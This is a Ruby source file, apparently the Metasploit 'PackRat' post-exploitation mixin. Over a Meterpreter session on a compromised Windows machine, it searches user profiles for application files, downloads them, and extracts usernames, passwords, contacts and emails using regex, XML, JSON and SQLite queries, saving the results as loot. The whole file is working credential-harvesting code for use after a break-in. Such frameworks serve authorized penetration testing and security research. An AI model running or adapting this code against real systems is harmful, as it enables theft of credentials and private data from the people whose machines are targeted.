283 lines
11 KiB
Ruby
283 lines
11 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
#
|
|
# A mixin used for providing Modules with post-exploitation options and helper methods
|
|
|
|
# PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
|
|
# PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
|
|
# This is a mixin that will be included in each separated module. Further details can be found in the module documentation.
|
|
#
|
|
require 'sqlite3'
|
|
module Msf
|
|
class Post
|
|
module Windows
|
|
module Packrat
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
core_channel_close
|
|
core_channel_eof
|
|
core_channel_open
|
|
core_channel_read
|
|
stdapi_fs_search
|
|
stdapi_fs_separator
|
|
stdapi_fs_stat
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
# Check to see if the application base folder exists on the remote system.
|
|
def parent_folder_available?(path, dir, _application)
|
|
parent_folder = dir.split('\\').first
|
|
dirs = session.fs.dir.foreach(path).collect
|
|
|
|
return dirs.include? parent_folder
|
|
end
|
|
|
|
def artifact_folder_available?(path, dir, _application, _artifact_child)
|
|
parent_folder_path = "#{path}#{session.fs.file.separator}#{dir}"
|
|
return directory?(parent_folder_path)
|
|
end
|
|
|
|
def find_files(userprofile, application, artifact, path, dir)
|
|
file_directory = "#{path}\\#{dir}"
|
|
files = session.fs.file.search(file_directory, artifact.to_s, true)
|
|
|
|
# Checks if the file was found in the application's bas file
|
|
if files.empty?
|
|
vprint_error("#{application.capitalize}'s #{artifact.capitalize} not found in #{userprofile['UserName']}'s user directory\n")
|
|
else
|
|
print_status("#{application.capitalize}'s #{artifact.capitalize} file found")
|
|
end
|
|
return files
|
|
end
|
|
|
|
def extract_xml(saving_path, artifact_child, artifact, local_loc)
|
|
xml_file = Nokogiri::XML(::File.read(saving_path.to_s))
|
|
credential_array = []
|
|
xml_credential = ''
|
|
|
|
artifact_child[:xml_search].each do |xml_split|
|
|
xml_split[:xml].each do |xml_string|
|
|
xml_file.xpath(xml_string.to_s).each do |xml_match|
|
|
vprint_status(xml_split[:extraction_description].to_s)
|
|
print_good xml_match.to_s
|
|
credential_array << xml_match.to_s
|
|
end
|
|
end
|
|
end
|
|
|
|
credential_array.each do |xml_write|
|
|
file_save = xml_write.chomp + "\n"
|
|
xml_credential << file_save.to_s
|
|
end
|
|
xml_loot = store_loot("EXTRACTIONS#{artifact}", '', session, xml_credential.to_s, local_loc)
|
|
print_good "File with data saved: #{xml_loot}"
|
|
rescue StandardError => e
|
|
print_status e.to_s
|
|
end
|
|
|
|
def extract_regex(saving_path, artifact_child, artifact, local_loc)
|
|
file_string = ''
|
|
::File.open(saving_path.to_s, 'rb').each do |file_content|
|
|
file_string << file_content.to_s
|
|
end
|
|
|
|
credential_array = []
|
|
cred_save = ''
|
|
user_regex = datastore['REGEX']
|
|
regex_string = user_regex.to_s
|
|
|
|
artifact_child[:regex_search].each do |reg_child|
|
|
reg_child[:regex].map { |r| Regexp.new(r) }.each do |regex_to_match|
|
|
next unless file_string =~ regex_to_match
|
|
|
|
file_string.scan(regex_to_match).each do |found_credential|
|
|
file_strip = found_credential.gsub(/\s+/, '').to_s
|
|
vprint_status(reg_child[:extraction_description].to_s)
|
|
print_good file_strip
|
|
credential_array << file_strip
|
|
end
|
|
end
|
|
end
|
|
|
|
if file_string =~ user_regex
|
|
file_string.scan(user_regex).each do |user_match|
|
|
user_strip = user_match.gsub(/\s+/, '').to_s
|
|
vprint_status "Searching for #{regex_string}"
|
|
print_good user_strip.to_s
|
|
credential_array << user_strip
|
|
end
|
|
end
|
|
|
|
credential_array.each do |file_write|
|
|
file_save = file_write.chomp + "\n"
|
|
cred_save << file_save.to_s
|
|
end
|
|
regex_loot = store_loot("EXTRACTION#{artifact}", '', session, cred_save.to_s, local_loc)
|
|
print_good "File with data saved: #{regex_loot}"
|
|
rescue StandardError => e
|
|
print_status e.to_s
|
|
end
|
|
|
|
def extract_sqlite(saving_path, artifact_child, artifact, local_loc)
|
|
database_string = ''
|
|
database_file = ::SQLite3::Database.open(saving_path.to_s)
|
|
artifact_child[:sql_search].each do |sql_child|
|
|
db = database_file.prepare "SELECT #{sql_child[:sql_column]} FROM #{sql_child[:sql_table]}"
|
|
db_command = db.execute
|
|
db_command.each do |database_row|
|
|
join_info = database_row.join "\s"
|
|
line_split = join_info.chomp + "\n"
|
|
database_string << line_split.to_s
|
|
end
|
|
end
|
|
|
|
sql_loot = store_loot("EXTRACTIONS#{artifact}", '', session, database_string.to_s, local_loc)
|
|
print_good "File with data saved: #{sql_loot}"
|
|
rescue StandardError => e
|
|
print_status e.to_s
|
|
end
|
|
|
|
# rubocop:disable Lint/UselessAssignment
|
|
# rubocop:disable Lint/UnusedBlockArgument
|
|
# rubocop:disable Style/Eval
|
|
def extract_json(saving_path, artifact_child, artifact, local_loc)
|
|
json_file = ::File.read(saving_path.to_s)
|
|
json_parse = JSON.parse(json_file)
|
|
parent_json_query = ''
|
|
child_json_query = []
|
|
json_credential_save = []
|
|
json_cred = ''
|
|
|
|
artifact_child[:json_search].each do |json_split|
|
|
parent_json_query << json_split[:json_parent]
|
|
json_split[:json_children].each do |json_child|
|
|
child_json_query << json_child.to_s
|
|
end
|
|
end
|
|
|
|
child_json_query.each do |split|
|
|
children = eval("json_parse#{parent_json_query}")
|
|
children.each do |child_node|
|
|
child = eval("child_node#{split}").to_s
|
|
json_credential_save << "#{split}: #{child}"
|
|
end
|
|
end
|
|
|
|
json_credential_save.each do |json_save|
|
|
file_save = json_save.chomp + "\n"
|
|
print_good file_save.to_s
|
|
json_cred << file_save.to_s
|
|
end
|
|
json_loot = store_loot("EXTRACTIONS#{artifact}", '', session, json_cred.to_s, local_loc)
|
|
print_good "File with data saved: #{json_loot}"
|
|
rescue StandardError => e
|
|
print_status e.to_s
|
|
end
|
|
# rubocop:enable Lint/UselessAssignment
|
|
# rubocop:enable Lint/UnusedBlockArgument
|
|
# rubocop:enable Style/Eval
|
|
|
|
# Download file from the remote system, if it exists.
|
|
def packrat_download_file(saving_path, file_to_download, file, application)
|
|
print_status("Downloading #{file_to_download}")
|
|
session.fs.file.download_file(saving_path, file_to_download)
|
|
print_status("#{application.capitalize} #{file['name'].capitalize} downloaded")
|
|
print_good("File saved to: #{saving_path}\n")
|
|
end
|
|
|
|
def run_packrat(userprofile, opts = {})
|
|
vprint_status 'Starting Packrat...'
|
|
artifact_parent = opts[:gatherable_artifacts]
|
|
application = opts[:application]
|
|
|
|
artifact_parent.each do |artifact_child|
|
|
file_type = artifact_child[:filetypes]
|
|
artifact = artifact_child[:artifact_file_name]
|
|
dir = artifact_child[:dir]
|
|
path = userprofile[artifact_child[:path]]
|
|
credential_type = artifact_child[:credential_type]
|
|
|
|
# Checks if the current artifact matches the search criteria
|
|
if (file_type != datastore['ARTIFACTS'] && datastore['ARTIFACTS'] != 'All')
|
|
# Doesn't match search criteria, skip this artifact
|
|
vprint_status "Skipping #{file_type} due to unmatched artifact type"
|
|
next
|
|
end
|
|
|
|
# Check if the applications's base folder exists in user's directory on the remote computer.
|
|
if parent_folder_available?(path, dir, application)
|
|
vprint_status("#{application.capitalize}'s base folder found")
|
|
else
|
|
vprint_error("#{application.capitalize}'s base folder not found in #{userprofile['UserName']}'s user directory\n")
|
|
# skip non-existing file
|
|
next
|
|
end
|
|
|
|
# Check the availability of the folder containing the artifact of interest.
|
|
if artifact_folder_available?(path, dir, application, artifact_child)
|
|
vprint_status("Found the folder containing specified artifact for #{artifact}.")
|
|
else
|
|
vprint_error("Could not find the folder for the specified artifact #{artifact} at #{dir}.\n")
|
|
# skip non-existing file
|
|
next
|
|
end
|
|
|
|
# Get the files that matches the pre-defined artifact name
|
|
found_files = find_files(userprofile, application, artifact, path, dir)
|
|
|
|
# Checks if the user have disabled STORE_LOOT option or if no file was found. Go to next in such case
|
|
if found_files.empty?
|
|
vprint_error "Skipping #{artifact} since it was not found on the user's folder."
|
|
next
|
|
elsif !datastore['STORE_LOOT']
|
|
print_good 'File was found but STORE_LOOT option is disabled. File was not saved'
|
|
next
|
|
end
|
|
|
|
# Download each files found
|
|
found_files.each do |file|
|
|
vprint_status "Processing #{file['path']}"
|
|
|
|
file_split = file['path'].split('\\')
|
|
local_loc = "#{file_split.last}#{file['name']}"
|
|
saving_path = store_loot("#{application}#{file['name']}", '', session, file['name'], local_loc)
|
|
file_to_download = "#{file['path']}#{session.fs.file.separator}#{file['name']}"
|
|
|
|
# Download file
|
|
packrat_download_file(saving_path, file_to_download, file, application)
|
|
if datastore['EXTRACT_DATA']
|
|
case credential_type
|
|
when 'xml'
|
|
extract_xml(saving_path, artifact_child, artifact, local_loc)
|
|
when 'json'
|
|
extract_json(saving_path, artifact_child, artifact, local_loc)
|
|
when 'text'
|
|
extract_regex(saving_path, artifact_child, artifact, local_loc)
|
|
when 'sqlite'
|
|
extract_sqlite(saving_path, artifact_child, artifact, local_loc)
|
|
else
|
|
vprint_error 'This artifact does not support any extraction type'
|
|
end
|
|
else
|
|
vprint_status 'Data are not extracted'
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|